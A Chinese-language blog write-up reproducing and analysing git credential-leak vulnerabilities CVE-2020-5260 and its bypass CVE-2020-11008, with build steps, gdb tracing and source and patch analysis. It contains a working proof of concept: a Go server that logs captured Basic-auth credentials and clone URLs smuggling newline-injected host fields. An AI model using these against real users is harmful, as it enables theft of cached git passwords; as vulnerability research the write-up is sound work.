漏洞简述

CVE-2020-5260
url中包含%0a,导致git的credential.helper在查找ur仓库地址对应的账密时,错误匹配到了攻击者指定条件的credential。
从而获取受害者本地缓存的账密

漏洞复现

漏洞比较简单,但复现时由于环境原因多次未能成功。
最初在windows环境及wsl中复现,但尝试 多个版本均未能成功。
后来在虚拟机kali 64位环境下自带的2.24.0版本 复现成功

为了便于调试,使用2.24.0版本编译重装

  1. 安装编译工具 apt install -y build-essential

  2. 安装git需要的一些库 apt install -y libcurl4-gnutls-dev libexpat1-dev gettext libz-dev libssl-dev

  3. 开始编译安装:

    1
    2
    3
    4
    5
    6
    git clone https://github.com/git/git  && cd git
    git checkout -b build v2.24.0

    make configure
    ./configure --prefix=/usr
    make && make install
  4. 在本地缓存密码

    1
    2
    3
    4
    5
    git config --global credential.helper store

    // 输入账号密码,将其缓存在本地
    git clone https://github.com/your-repo && cd your-repo
    git push
  5. 启动接收账密的server

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
go run poc.go
//poc.go 内容如下
package main

import (
"log"
"net/http"
)

func h(w http.ResponseWriter, r *http.Request) {
username, password, ok := r.BasicAuth()
if ok {
log.Printf("user: %v password: %v\n", username, password)
w.WriteHeader(200)
return
}
w.Header().Set("WWW-Authenticate", `Basic realm="foo"`)
http.Error(w, "Not authorized", 401)
return
}

func main() {
http.HandleFunc("/", h)
err := http.ListenAndServe(":8088", nil)
if err != nil {
log.Fatal("ListenAndServe: ", err)
}
}
  1. 克隆恶意仓库
    1
    git clone 'http://localhost:8088?%0ahost=github.com%0aprotocol=https'
    漏洞复现就完成了,没什么难度

漏洞分析

fprintf时value中包含\n,导致写入了新行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
//credential.c
static void credential_write_item(FILE *fp, const char *key, const char *value)
{
if (!value)
return;
fprintf(fp, "%s=%s\n", key, value);
}

void credential_write(const struct credential *c, FILE *fp)
{
credential_write_item(fp, "protocol", c->protocol);
credential_write_item(fp, "host", c->host);
credential_write_item(fp, "path", c->path);
credential_write_item(fp, "username", c->username);
credential_write_item(fp, "password", c->password);
}

在新行中覆盖掉protocol和host,如

1
2
3
protocol = https
host = example.com
host = github.com

导致读取credential时读的是github.com,但是仓库地址是example.com

看起来很简单,但是不了解git源码,完全不知道c的值以及credential读取的方式。

深入分析

看了几天代码,仍然对git的流程不是很了解。
于是决定用gdb进行调试分析,用到的命令如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
gdb git
set args clone 'http://localhost:8088?%0ahost=github.com%0aprotocol=https'

set follow-fork-mode child
set follow-fork-mode parent
set follow-exec-mode new
set follow-exec-mode same

b credential_write_item
b credential_write
b credential_from_url
b cmd_main
b get_refs
b start_command
b run-command.c:849
b credential-store.c:181

b credential_read

b run_credential_helper

经过调试了解到git频繁使用子进程来处理任务,先使用fork创建一个子进程,然后在子进程中调用execv来执行实际任务,在父进程中通过io传递参数

git clone 'http://localhost:8088?%0ahost=github.com%0aprotocol=https'的实际处理过程大致如下

  1. 调用git-remote-http origin http://localhost:8088?%0ahost=github.com%0aprotocol=https
    父进程会往stdin中写入

    capabilities
    option progress true
    option verbosity 1
    list

  2. http.c::http_request_reauth调用 credential_fill(&http_auth)来获取本地缓存的账密
    其中http_auth通过credential_from_url解析仓库地址得到

  3. credential_fill最终调用run_credential_helper,创建子进程获取账密
    实际查询账密的进程为 git-credential-store get
    父进程将要查询的credential写入io,即credential_write(c, fp); credential.c:L232

  4. credential-store.c::cmd_main调用lookup_credential查询账密,返回给父进程
    这个过程中函数credential_match有点意思,先按住不表

漏洞的调用过程如上,url中的%0a在第3步时生效,导致父进程写入的查询条件如下

1
2
3
4
protocol=http
host=localhost:8080?
host=github.com
protocol=https

于是lookup_credential查询出来的账密是github.com的账密。

再额外分析一下credential_match

1
2
3
4
5
6
7
8
9
10
11
//credential.c
int credential_match(const struct credential *want,
const struct credential *have)
{
#define CHECK(x) (!want->x || (have->x && !strcmp(want->x, have->x)))
return CHECK(protocol) &&
CHECK(host) &&
CHECK(path) &&
CHECK(username);
#undef CHECK
}

CHECK的定义,如果要查询的字段x的值为空,则触发短路返回true。
如果有机会使host为NULL,也可以达到这个漏洞效果。

Bypass CVE-2020-5260

CVE-2020-11008
虽然说是bypass,但PoC完全没有变。
分析一下官方的修复diff v2.24.1 v2.24.2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
//credential.c
static int check_url_component(const char *url, int quiet,
const char *name, const char *value)
{
if (!value)
return 0;
if (!strchr(value, '\n'))
return 0;

if (!quiet)
warning(_("url contains a newline in its %s component: %s"),
name, url);
return -1;
}

int credential_from_url_gently(struct credential *c, const char *url,
int quiet)
{
......

if (check_url_component(url, quiet, "username", c->username) < 0 ||
check_url_component(url, quiet, "password", c->password) < 0 ||
check_url_component(url, quiet, "protocol", c->protocol) < 0 ||
check_url_component(url, quiet, "host", c->host) < 0 ||
check_url_component(url, quiet, "path", c->path) < 0)
return -1;

return 0;
}

void credential_from_url(struct credential *c, const char *url)
{
if (credential_from_url_gently(c, url, 0) < 0) {
warning(_("skipping credential lookup for url: %s"), url);
credential_clear(c);
}
}

增加了check_url_component,该函数检测到credential的值中存在\n会返回-1
在credential_from_url中增加了这个判断,返回值<0时会用credential_clear清空credential
这个就有意思了,前面分析过get-credential-store get,如果父进程传入的credential为空,那会直接匹配到第一个缓存的密码
也就是说可以通过\n清空credential,从而匹配到账密

1
git clone 'http://localhost:8088?%0axxx'

参考链接

https://git-scm.com/docs/api-credentials
http://schacon.github.io/git/user-manual.html#birdview-on-the-source-code
https://bugs.chromium.org/p/project-zero/issues/attachmentText?aid=437011 //poc.go
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-5260
https://bugs.chromium.org/p/project-zero/issues/detail?id=2021
https://git-scm.com/docs/gitcredentials




Published with Hexo and Theme by Kael
X